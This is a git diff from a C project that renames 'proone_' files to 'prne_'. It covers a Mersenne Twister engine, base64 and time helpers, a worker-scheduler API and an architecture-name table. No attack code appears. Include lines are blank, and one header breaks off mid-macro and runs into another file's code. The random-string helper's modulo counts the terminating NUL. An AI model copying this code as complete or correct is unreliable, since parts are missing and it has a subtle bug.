UPPER_MASK) | (engine->mt[0] & LOWER_MASK); - engine->mt[N - 1] = engine->mt[M - 1] ^ (y >> 1) ^ mag01[y & 1]; - - engine->mti = 0; - } - - y = engine->mt[engine->mti]; - engine->mti += 1; - y ^= y >> 11; - y ^= (y << 7) & TEMPERING_MASK_B; - y ^= (y << 15) & TEMPERING_MASK_C; - y ^= y >> 18; - - return y; -} - -double proone_rnd_gen_double (proone_rnd_engine_t *engine) { - return (double)proone_rnd_gen_int(engine) * 2.3283064370807974e-10; -} diff --git a/src/proone_rnd.h b/src/proone_rnd.h deleted file mode 100644 index cf46c4d..0000000 --- a/src/proone_rnd.h +++ /dev/null @@ -1,27 +0,0 @@ -#pragma once -#include -#include -#include - - -struct proone_rnd_engine; -typedef struct proone_rnd_engine proone_rnd_engine_t; -typedef struct proone_rnd_engnie_alloc_result proone_rnd_engnie_alloc_result_t; - -typedef enum { - PROONE_RND_ENGINE_ALLOC_OK, - PROONE_RND_ENGINE_ALLOC_INVALID_SEED, - PROONE_RND_ENGINE_ALLOC_MEM_ERR -} proone_rnd_engine_alloc_result_code_t; - -struct proone_rnd_engnie_alloc_result { - proone_rnd_engine_alloc_result_code_t result; - proone_rnd_engine_t *engine; -}; - - -void proone_init_alloc_rnd_engine_result (proone_rnd_engnie_alloc_result_t *r); -proone_rnd_engnie_alloc_result_t proone_alloc_rnd_engine (const uint32_t *seed); -void proone_free_rnd_engine (proone_rnd_engine_t *engine); -uint32_t proone_rnd_gen_int (proone_rnd_engine_t *engine); -double proone_rnd_gen_double (proone_rnd_engine_t *engine); diff --git a/src/proone_util.c b/src/proone_util.c deleted file mode 100644 index 6017e54..0000000 --- a/src/proone_util.c +++ /dev/null @@ -1,216 +0,0 @@ -#include "proone_util.h" - -#include -#include -#include - -#include - -#include -#include - - -void proone_succeed_or_die (const int ret) { - if (ret < 0) { - abort(); - } -} - -void proone_empty_func () {} - -void proone_rnd_alphanumeric_str (proone_rnd_engine_t *rnd_engine, char *str, const size_t len) { - static const char SET[] = "qwertyuiopasdfghjklzxcvbnm0123456789"; - size_t i = 0; - uint32_t n; - - if (len >= 4) { - for (; i < len / 4 * 4; i += 4) { - n = proone_rnd_gen_int(rnd_engine); - str[i + 0] = SET[((uint8_t*)&n)[0] % sizeof(SET)]; - str[i + 1] = SET[((uint8_t*)&n)[1] % sizeof(SET)]; - str[i + 2] = SET[((uint8_t*)&n)[2] % sizeof(SET)]; - str[i + 3] = SET[((uint8_t*)&n)[3] % sizeof(SET)]; - } - } - if (i < len) { - n = proone_rnd_gen_int(rnd_engine); - for (; i < len; i += 1) { - str[i] = SET[((uint8_t*)&n)[i % 4] % sizeof(SET)]; - } - } -} - -size_t proone_str_shift_spaces (char *str, const size_t len) { - size_t i, ret = len; - - for (i = 0; i < ret; ) { - if (isspace(str[i])) { - if (i + 1 >= ret) { - // last trailing whitespace - ret -= 1; - break; - } - memmove(str + i, str + i + 1, ret - i - 1); - ret -= 1; - } - else { - i += 1; - } - } - - return ret; -} - - -struct timespec proone_sub_timespec (const struct timespec *a, const struct timespec *b) { - struct timespec ret; - - if (a->tv_nsec < b->tv_nsec) { - ret.tv_sec = a->tv_sec - 1 - b->tv_sec; - ret.tv_nsec = 1000000000 + a->tv_nsec - b->tv_nsec; - } - else { - ret.tv_sec = a->tv_sec - b->tv_sec; - ret.tv_nsec = a->tv_nsec - b->tv_nsec; - } - - return ret; -} - -double proone_real_timespec (const struct timespec *ts) { - return (double)ts->tv_sec + (double)ts->tv_nsec / 1000000000.0; -} - -int proone_cmp_timespec (const struct timespec *a, const struct timespec *b) { - if (a->tv_sec < b->tv_sec) { - return -1; - } - else if (a->tv_sec > b->tv_sec) { - return 1; - } - - return a->tv_nsec < b->tv_nsec ? -1 : a->tv_nsec > b->tv_nsec ? 1 : 0; -} - -char *proone_enc_base64_mem (const uint8_t *data, const size_t size) { - char *ret = NULL, *p = NULL; - BIO *b64_bio = NULL, *mem_bio = NULL; - bool ok = true; - int out_len; - - if (size > INT32_MAX || size == 0) { - return NULL; - } - - b64_bio = BIO_new(BIO_f_base64()); - mem_bio = BIO_new(BIO_s_mem()); - if (b64_bio == NULL || mem_bio == NULL) { - ok = false; - goto END; - } - BIO_set_flags(b64_bio, BIO_FLAGS_BASE64_NO_NL); - BIO_push(b64_bio, mem_bio); - - if (BIO_write(b64_bio, data, size) != (int)size) { - ok = false; - goto END; - } - - out_len = BIO_get_mem_data(mem_bio, &p); - if (out_len < 0) { - ok = false; - goto END; - } - if (out_len > 0) { - ret = (char*)malloc(out_len + 1); - if (ret == NULL) { - ok = false; - goto END; - } - memcpy(ret, p, out_len); - ret[out_len] = 0; - } - -END: - BIO_free(b64_bio); - BIO_free(mem_bio); - if (!ok) { - free(ret); - ret = NULL; - } - - return ret; -} - -bool proone_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data, size_t *size) { - char *in_mem = NULL; - size_t in_mem_len, out_len; - uint8_t *out_mem = NULL; - BIO *b64_bio = NULL, *mem_bio = NULL; - bool ret = true; - int read_size = 0; - - if (str_len > INT32_MAX) { - errno = EINVAL; - return false; - } - if (str_len == 0) { - ret = true; - goto END; - } - - in_mem = (char*)malloc(str_len); - if (in_mem == NULL) { - ret = false; - goto END; - } - memcpy(in_mem, str, str_len); - in_mem_len = proone_str_shift_spaces(in_mem, str_len); - if (in_mem_len == 0) { - ret = true; - goto END; - } - - b64_bio = BIO_new(BIO_f_base64()); - mem_bio = BIO_new_mem_buf(in_mem, in_mem_len); - if (b64_bio == NULL || mem_bio == NULL) { - ret = false; - goto END; - } - BIO_set_flags(b64_bio, BIO_FLAGS_BASE64_NO_NL); - BIO_push(b64_bio, mem_bio); - - out_len = in_mem_len * 3 / 4; - out_mem = (uint8_t*)malloc((size_t)out_len); - if (out_mem == NULL) { - ret = false; - goto END; - } - - read_size = BIO_read(b64_bio, out_mem, out_len); - if (read_size < 0) { - ret = false; - goto END; - } - -END: - BIO_free(b64_bio); - BIO_free(mem_bio); - free(in_mem); - if (ret) { - if (read_size > 0) { - *data = out_mem; - *size = (size_t)read_size; - } - else { - free(out_mem); - *data = NULL; - *size = 0; - } - } - else { - free(out_mem); - } - - return ret; -} diff --git a/src/proone_util.h b/src/proone_util.h deleted file mode 100644 index 605f2a8..0000000 --- a/src/proone_util.h +++ /dev/null @@ -1,34 +0,0 @@ -#pragma once -#include "proone_rnd.h" - -#include -#include - - -#define proone_op_spaceship(a,b) (a==b?0:a - - -static void def_free_func (proone_worker_sched_req_t *wsr) { - free(wsr->pollfd_arr); - wsr->pollfd_arr = NULL; - wsr->pollfd_arr_size = 0; -} - -static bool def_alloc_func (proone_worker_sched_req_t *wsr, const size_t ny_size) { - if (ny_size == 0) { - def_free_func(wsr); - } - else if (ny_size != wsr->pollfd_arr_size) { - void *ny_buf = realloc(wsr->pollfd_arr, ny_size * sizeof(struct pollfd)); - - if (ny_buf == NULL) { - return false; - } - wsr->pollfd_arr = (struct pollfd*)ny_buf; - wsr->pollfd_arr_size = ny_size; - } - - return true; -} - -static proone_worker_sched_req_mem_func_t def_mem_func = { def_alloc_func, def_free_func, NULL }; - - -bool proone_init_worker_sched_req (proone_worker_sched_req_t *wsr, proone_worker_sched_req_mem_func_t *in_mem_func) { - proone_worker_sched_req_t ret; - - ret.pollfd_arr_size = 0; - ret.pollfd_arr = NULL; - ret.timeout.tv_sec = 0; - ret.timeout.tv_nsec = 0; - ret.mem_func = *(in_mem_func != NULL ? in_mem_func : &def_mem_func); - ret.flags = PROONE_WORKER_SCHED_FLAG_NONE; - ret.pollfd_ready = false; - - if (!ret.mem_func.alloc(&ret, 0)) { - return false; - } - - *wsr = ret; - return true; -} diff --git a/src/proone_worker.h b/src/proone_worker.h deleted file mode 100644 index b264fc9..0000000 --- a/src/proone_worker.h +++ /dev/null @@ -1,64 +0,0 @@ -#pragma once -#include -#include -#include -#include -#include - - -typedef uint8_t proone_worker_sched_flag_t; - -typedef struct proone_worker_sched_req proone_worker_sched_req_t; -typedef bool(*proone_worker_sched_req_alloc_func_t)(proone_worker_sched_req_t *, const size_t); -typedef void(*proone_worker_sched_req_free_func_t)(proone_worker_sched_req_t *); -typedef struct proone_worker_sched_req_mem_func proone_worker_sched_req_mem_func_t; -typedef struct proone_worker_sched_info proone_worker_sched_info_t; -typedef struct proone_worker proone_worker_t; - -struct proone_worker_sched_req_mem_func { - proone_worker_sched_req_alloc_func_t alloc; - proone_worker_sched_req_free_func_t free; - void *ctx; -}; - -struct proone_worker_sched_req { - size_t pollfd_arr_size; - struct pollfd *pollfd_arr; - struct timespec timeout; - proone_worker_sched_req_mem_func_t mem_func; - proone_worker_sched_flag_t flags; - bool pollfd_ready; -}; - -struct proone_worker_sched_info { - proone_worker_sched_flag_t tick_flags; - struct timespec last_tick; - struct timespec this_tick; - struct timespec tick_diff; - double real_tick_diff; -}; - -struct proone_worker { - intptr_t id; - void *ctx; - - void (*free)(void *ctx); - void (*fin)(void *ctx); - void (*work)(void *ctx, const proone_worker_sched_info_t *sched_info, proone_worker_sched_req_t *sched_req); - bool (*has_finalised)(void *ctx); -}; - -/* Do nothing. The worker has more work to do and is yielding cpu time to the -* other workers. -*/ -static const proone_worker_sched_flag_t PROONE_WORKER_SCHED_FLAG_NONE = 0x00; -/* Do `poll()`. The worker has to set `shed_req` properly. -*/ -static const proone_worker_sched_flag_t PROONE_WORKER_SCHED_FLAG_POLL = 0x01; -/* Do `poll()` with timeout or just sleep. The worker has to set -* `proone_worker_sched_req_t::timeout` properly. -*/ -static const proone_worker_sched_flag_t PROONE_WORKER_SCHED_FLAG_TIMEOUT = 0x02; - - -bool proone_init_worker_sched_req (proone_worker_sched_req_t *wsr, proone_worker_sched_req_mem_func_t *mem_func); diff --git a/src/protocol.c b/src/protocol.c new file mode 100644 index 0000000..93f5f7d --- /dev/null +++ b/src/protocol.c @@ -0,0 +1,69 @@ +#include "protocol.h" +#include + +const char *prne_arch2str (const prne_arch_t x) { + switch (x){ + case PRNE_ARCH_ARMV4T: + return "armv4t"; + case PRNE_ARCH_ARMV7: + return "armv7"; + case PRNE_ARCH_I586: + return "i586"; + case PRNE_ARCH_M68K: + return "m68k"; + case PRNE_ARCH_MIPS: + return "mips"; + case PRNE_ARCH_MPSL: + return "mpsl"; + case PRNE_ARCH_PPC: + return "ppc"; + case PRNE_ARCH_RV32: + return "rv32"; + case PRNE_ARCH_RV64: + return "rv64"; + case PRNE_ARCH_SH4: + return "sh4"; + case PRNE_ARCH_SPC: + return "spc"; + } + + return NULL; +} + +prne_arch_t prne_str2arch (const char *str) { + if (strcmp(str, "armv4t") == 0) { + return PRNE_ARCH_ARMV4T; + } + else if (strcmp(str, "armv7") == 0) { + return PRNE_ARCH_ARMV7; + } + else if (strcmp(str, "i586") == 0) { + return PRNE_ARCH_I586; + } + else if (strcmp(str, "m68k") == 0) { + return PRNE_ARCH_M68K; + } + else if (strcmp(str, "mips") == 0) { + return PRNE_ARCH_MIPS; + } + else if (strcmp(str, "mpsl") == 0) { + return PRNE_ARCH_MPSL; + } + else if (strcmp(str, "ppc") == 0) { + return PRNE_ARCH_PPC; + } + else if (strcmp(str, "rv32") == 0) { + return PRNE_ARCH_RV32; + } + else if (strcmp(str, "rv64") == 0) { + return PRNE_ARCH_RV64; + } + else if (strcmp(str, "sh4") == 0) { + return PRNE_ARCH_SH4; + } + else if (strcmp(str, "spc") == 0) { + return PRNE_ARCH_SPC; + } + + return PRNE_ARCH_NONE; +} diff --git a/src/protocol.h b/src/protocol.h new file mode 100644 index 0000000..3e57251 --- /dev/null +++ b/src/protocol.h @@ -0,0 +1,25 @@ +#pragma once +#include + + +typedef enum { + PRNE_ARCH_NONE = -1, + + PRNE_ARCH_ARMV4T, + PRNE_ARCH_ARMV7, + PRNE_ARCH_I586, + PRNE_ARCH_M68K, + PRNE_ARCH_MIPS, + PRNE_ARCH_MPSL, + PRNE_ARCH_PPC, + PRNE_ARCH_RV32, + PRNE_ARCH_RV64, + PRNE_ARCH_SH4, + PRNE_ARCH_SPC, + + NB_PRNE_ARCH +} prne_arch_t; + + +const char *prne_arch2str (const prne_arch_t x); +prne_arch_t prne_str2arch (const char *str); diff --git a/src/rnd.c b/src/rnd.c new file mode 100644 index 0000000..8fff675 --- /dev/null +++ b/src/rnd.c @@ -0,0 +1,93 @@ +#include "rnd.h" + +#include + +#define N ((size_t)624) + + +struct prne_rnd_engine { + size_t mti; + uint32_t mt[N]; +}; + + +void prne_init_alloc_rnd_engine_result (prne_rnd_engnie_alloc_result_t *r) { + r->engine = NULL; + r->result = PRNE_RND_ENGINE_ALLOC_OK; +} + +prne_rnd_engnie_alloc_result_t prne_alloc_rnd_engine (const uint32_t *s) { + prne_rnd_engnie_alloc_result_t ret; + uint32_t seed; + + prne_init_alloc_rnd_engine_result(&ret); + + if (s == NULL) { + seed = 4357; + } + else { + if (*s == 0) { + ret.result = PRNE_RND_ENGINE_ALLOC_INVALID_SEED; + return ret; + } + seed = *s; + } + + ret.engine = (prne_rnd_engine_t*)malloc(sizeof(prne_rnd_engine_t)); + if (ret.engine == NULL) { + ret.result = PRNE_RND_ENGINE_ALLOC_MEM_ERR; + return ret; + } + + ret.engine->mt[0] = seed; + for (ret.engine->mti = 1; ret.engine->mti < N; ret.engine->mti += 1) { + ret.engine->mt[ret.engine->mti] = 69069 * ret.engine->mt[ret.engine->mti - 1]; + } + + return ret; +} + +void prne_free_rnd_engine (prne_rnd_engine_t *engine) { + free(engine); +} + +uint32_t prne_rnd_gen_int (prne_rnd_engine_t *engine) { + static const size_t M = 397; + static const uint32_t + UPPER_MASK = 0x80000000, + LOWER_MASK = 0x7fffffff, + TEMPERING_MASK_B = 0x9d2c5680, + TEMPERING_MASK_C = 0xefc60000; + static const uint32_t mag01[2] = {0, 0x9908b0df}; + uint32_t y; + + if (engine->mti >= N) { + size_t kk; + + for (kk = 0; kk < N - M; kk += 1) { + y = (engine->mt[kk] & UPPER_MASK) | (engine->mt[kk + 1] & LOWER_MASK); + engine->mt[kk] = engine->mt[kk + M] ^ (y >> 1) ^ mag01[y & 1]; + } + for (; kk < N - 1; kk += 1) { + y = (engine->mt[kk] & UPPER_MASK) | (engine->mt[kk + 1] & LOWER_MASK); + engine->mt[kk] = engine->mt[kk + (M - N)] ^ (y >> 1) ^ mag01[y & 1]; + } + y = (engine->mt[N - 1] & UPPER_MASK) | (engine->mt[0] & LOWER_MASK); + engine->mt[N - 1] = engine->mt[M - 1] ^ (y >> 1) ^ mag01[y & 1]; + + engine->mti = 0; + } + + y = engine->mt[engine->mti]; + engine->mti += 1; + y ^= y >> 11; + y ^= (y << 7) & TEMPERING_MASK_B; + y ^= (y << 15) & TEMPERING_MASK_C; + y ^= y >> 18; + + return y; +} + +double prne_rnd_gen_double (prne_rnd_engine_t *engine) { + return (double)prne_rnd_gen_int(engine) * 2.3283064370807974e-10; +} diff --git a/src/rnd.h b/src/rnd.h new file mode 100644 index 0000000..170a902 --- /dev/null +++ b/src/rnd.h @@ -0,0 +1,27 @@ +#pragma once +#include +#include +#include + + +struct prne_rnd_engine; +typedef struct prne_rnd_engine prne_rnd_engine_t; +typedef struct prne_rnd_engnie_alloc_result prne_rnd_engnie_alloc_result_t; + +typedef enum { + PRNE_RND_ENGINE_ALLOC_OK, + PRNE_RND_ENGINE_ALLOC_INVALID_SEED, + PRNE_RND_ENGINE_ALLOC_MEM_ERR +} prne_rnd_engine_alloc_result_code_t; + +struct prne_rnd_engnie_alloc_result { + prne_rnd_engine_alloc_result_code_t result; + prne_rnd_engine_t *engine; +}; + + +void prne_init_alloc_rnd_engine_result (prne_rnd_engnie_alloc_result_t *r); +prne_rnd_engnie_alloc_result_t prne_alloc_rnd_engine (const uint32_t *seed); +void prne_free_rnd_engine (prne_rnd_engine_t *engine); +uint32_t prne_rnd_gen_int (prne_rnd_engine_t *engine); +double prne_rnd_gen_double (prne_rnd_engine_t *engine); diff --git a/src/util.c b/src/util.c new file mode 100644 index 0000000..37694ab --- /dev/null +++ b/src/util.c @@ -0,0 +1,216 @@ +#include "util.h" + +#include +#include +#include + +#include + +#include +#include + + +void prne_succeed_or_die (const int ret) { + if (ret < 0) { + abort(); + } +} + +void prne_empty_func () {} + +void prne_rnd_alphanumeric_str (prne_rnd_engine_t *rnd_engine, char *str, const size_t len) { + static const char SET[] = "qwertyuiopasdfghjklzxcvbnm0123456789"; + size_t i = 0; + uint32_t n; + + if (len >= 4) { + for (; i < len / 4 * 4; i += 4) { + n = prne_rnd_gen_int(rnd_engine); + str[i + 0] = SET[((uint8_t*)&n)[0] % sizeof(SET)]; + str[i + 1] = SET[((uint8_t*)&n)[1] % sizeof(SET)]; + str[i + 2] = SET[((uint8_t*)&n)[2] % sizeof(SET)]; + str[i + 3] = SET[((uint8_t*)&n)[3] % sizeof(SET)]; + } + } + if (i < len) { + n = prne_rnd_gen_int(rnd_engine); + for (; i < len; i += 1) { + str[i] = SET[((uint8_t*)&n)[i % 4] % sizeof(SET)]; + } + } +} + +size_t prne_str_shift_spaces (char *str, const size_t len) { + size_t i, ret = len; + + for (i = 0; i < ret; ) { + if (isspace(str[i])) { + if (i + 1 >= ret) { + // last trailing whitespace + ret -= 1; + break; + } + memmove(str + i, str + i + 1, ret - i - 1); + ret -= 1; + } + else { + i += 1; + } + } + + return ret; +} + + +struct timespec prne_sub_timespec (const struct timespec *a, const struct timespec *b) { + struct timespec ret; + + if (a->tv_nsec < b->tv_nsec) { + ret.tv_sec = a->tv_sec - 1 - b->tv_sec; + ret.tv_nsec = 1000000000 + a->tv_nsec - b->tv_nsec; + } + else { + ret.tv_sec = a->tv_sec - b->tv_sec; + ret.tv_nsec = a->tv_nsec - b->tv_nsec; + } + + return ret; +} + +double prne_real_timespec (const struct timespec *ts) { + return (double)ts->tv_sec + (double)ts->tv_nsec / 1000000000.0; +} + +int prne_cmp_timespec (const struct timespec *a, const struct timespec *b) { + if (a->tv_sec < b->tv_sec) { + return -1; + } + else if (a->tv_sec > b->tv_sec) { + return 1; + } + + return a->tv_nsec < b->tv_nsec ? -1 : a->tv_nsec > b->tv_nsec ? 1 : 0; +} + +char *prne_enc_base64_mem (const uint8_t *data, const size_t size) { + char *ret = NULL, *p = NULL; + BIO *b64_bio = NULL, *mem_bio = NULL; + bool ok = true; + int out_len; + + if (size > INT32_MAX || size == 0) { + return NULL; + } + + b64_bio = BIO_new(BIO_f_base64()); + mem_bio = BIO_new(BIO_s_mem()); + if (b64_bio == NULL || mem_bio == NULL) { + ok = false; + goto END; + } + BIO_set_flags(b64_bio, BIO_FLAGS_BASE64_NO_NL); + BIO_push(b64_bio, mem_bio); + + if (BIO_write(b64_bio, data, size) != (int)size) { + ok = false; + goto END; + } + + out_len = BIO_get_mem_data(mem_bio, &p); + if (out_len < 0) { + ok = false; + goto END; + } + if (out_len > 0) { + ret = (char*)malloc(out_len + 1); + if (ret == NULL) { + ok = false; + goto END; + } + memcpy(ret, p, out_len); + ret[out_len] = 0; + } + +END: + BIO_free(b64_bio); + BIO_free(mem_bio); + if (!ok) { + free(ret); + ret = NULL; + } + + return ret; +} + +bool prne_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data, size_t *size) { + char *in_mem = NULL; + size_t in_mem_len, out_len; + uint8_t *out_mem = NULL; + BIO *b64_bio = NULL, *mem_bio = NULL; + bool ret = true; + int read_size = 0; + + if (str_len > INT32_MAX) { + errno = EINVAL; + return false; + } + if (str_len == 0) { + ret = true; + goto END; + } + + in_mem = (char*)malloc(str_len); + if (in_mem == NULL) { + ret = false; + goto END; + } + memcpy(in_mem, str, str_len); + in_mem_len = prne_str_shift_spaces(in_mem, str_len); + if (in_mem_len == 0) { + ret = true; + goto END; + } + + b64_bio = BIO_new(BIO_f_base64()); + mem_bio = BIO_new_mem_buf(in_mem, in_mem_len); + if (b64_bio == NULL || mem_bio == NULL) { + ret = false; + goto END; + } + BIO_set_flags(b64_bio, BIO_FLAGS_BASE64_NO_NL); + BIO_push(b64_bio, mem_bio); + + out_len = in_mem_len * 3 / 4; + out_mem = (uint8_t*)malloc((size_t)out_len); + if (out_mem == NULL) { + ret = false; + goto END; + } + + read_size = BIO_read(b64_bio, out_mem, out_len); + if (read_size < 0) { + ret = false; + goto END; + } + +END: + BIO_free(b64_bio); + BIO_free(mem_bio); + free(in_mem); + if (ret) { + if (read_size > 0) { + *data = out_mem; + *size = (size_t)read_size; + } + else { + free(out_mem); + *data = NULL; + *size = 0; + } + } + else { + free(out_mem); + } + + return ret; +} diff --git a/src/util.h b/src/util.h new file mode 100644 index 0000000..a5e3070 --- /dev/null +++ b/src/util.h @@ -0,0 +1,34 @@ +#pragma once +#include "rnd.h" + +#include +#include + + +#define prne_op_spaceship(a,b) (a==b?0:a + + +static void def_free_func (prne_worker_sched_req_t *wsr) { + free(wsr->pollfd_arr); + wsr->pollfd_arr = NULL; + wsr->pollfd_arr_size = 0; +} + +static bool def_alloc_func (prne_worker_sched_req_t *wsr, const size_t ny_size) { + if (ny_size == 0) { + def_free_func(wsr); + } + else if (ny_size != wsr->pollfd_arr_size) { + void *ny_buf = realloc(wsr->pollfd_arr, ny_size * sizeof(struct pollfd)); + + if (ny_buf == NULL) { + return false; + } + wsr->pollfd_arr = (struct pollfd*)ny_buf; + wsr->pollfd_arr_size = ny_size; + } + + return true; +} + +static prne_worker_sched_req_mem_func_t def_mem_func = { def_alloc_func, def_free_func, NULL }; + + +bool prne_init_worker_sched_req (prne_worker_sched_req_t *wsr, prne_worker_sched_req_mem_func_t *in_mem_func) { + prne_worker_sched_req_t ret; + + ret.pollfd_arr_size = 0; + ret.pollfd_arr = NULL; + ret.timeout.tv_sec = 0; + ret.timeout.tv_nsec = 0; + ret.mem_func = *(in_mem_func != NULL ? in_mem_func : &def_mem_func); + ret.flags = PRNE_WORKER_SCHED_FLAG_NONE; + ret.pollfd_ready = false; + + if (!ret.mem_func.alloc(&ret, 0)) { + return false; + } + + *wsr = ret; + return true; +} diff --git a/src/worker.h b/src/worker.h new file mode 100644 index 0000000..8927fb0 --- /dev/null +++ b/src/worker.h @@ -0,0 +1,64 @@ +#pragma once +#include +#include +#include +#include +#include + + +typedef uint8_t prne_worker_sched_flag_t; + +typedef struct prne_worker_sched_req prne_worker_sched_req_t; +typedef bool(*prne_worker_sched_req_alloc_func_t)(prne_worker_sched_req_t *, const size_t); +typedef void(*prne_worker_sched_req_free_func_t)(prne_worker_sched_req_t *); +typedef struct prne_worker_sched_req_mem_func prne_worker_sched_req_mem_func_t; +typedef struct prne_worker_sched_info prne_worker_sched_info_t; +typedef struct prne_worker prne_worker_t; + +struct prne_worker_sched_req_mem_func { + prne_worker_sched_req_alloc_func_t alloc; + prne_worker_sched_req_free_func_t free; + void *ctx; +}; + +struct prne_worker_sched_req { + size_t pollfd_arr_size; + struct pollfd *pollfd_arr; + struct timespec timeout; + prne_worker_sched_req_mem_func_t mem_func; + prne_worker_sched_flag_t flags; + bool pollfd_ready; +}; + +struct prne_worker_sched_info { + prne_worker_sched_flag_t tick_flags; + struct timespec last_tick; + struct timespec this_tick; + struct timespec tick_diff; + double real_tick_diff; +}; + +struct prne_worker { + intptr_t id; + void *ctx; + + void (*free)(void *ctx); + void (*fin)(void *ctx); + void (*work)(void *ctx, const prne_worker_sched_info_t *sched_info, prne_worker_sched_req_t *sched_req); + bool (*has_finalised)(void *ctx); +}; + +/* Do nothing. The worker has more work to do and is yielding cpu time to the +* other workers. +*/ +static const prne_worker_sched_flag_t PRNE_WORKER_SCHED_FLAG_NONE = 0x00; +/* Do `poll()`. The worker has to set `shed_req` properly. +*/ +static const prne_worker_sched_flag_t PRNE_WORKER_SCHED_FLAG_POLL = 0x01; +/* Do `poll()` with timeout or just sleep. The worker has to set +* `prne_worker_sched_req_t::timeout` properly. +*/ +static const prne_worker_sched_flag_t PRNE_WORKER_SCHED_FLAG_TIMEOUT = 0x02; + + +bool prne_init_worker_sched_req (prne_worker_sched_req_t *wsr, prne_worker_sched_req_mem_func_t *mem_func); -- cgit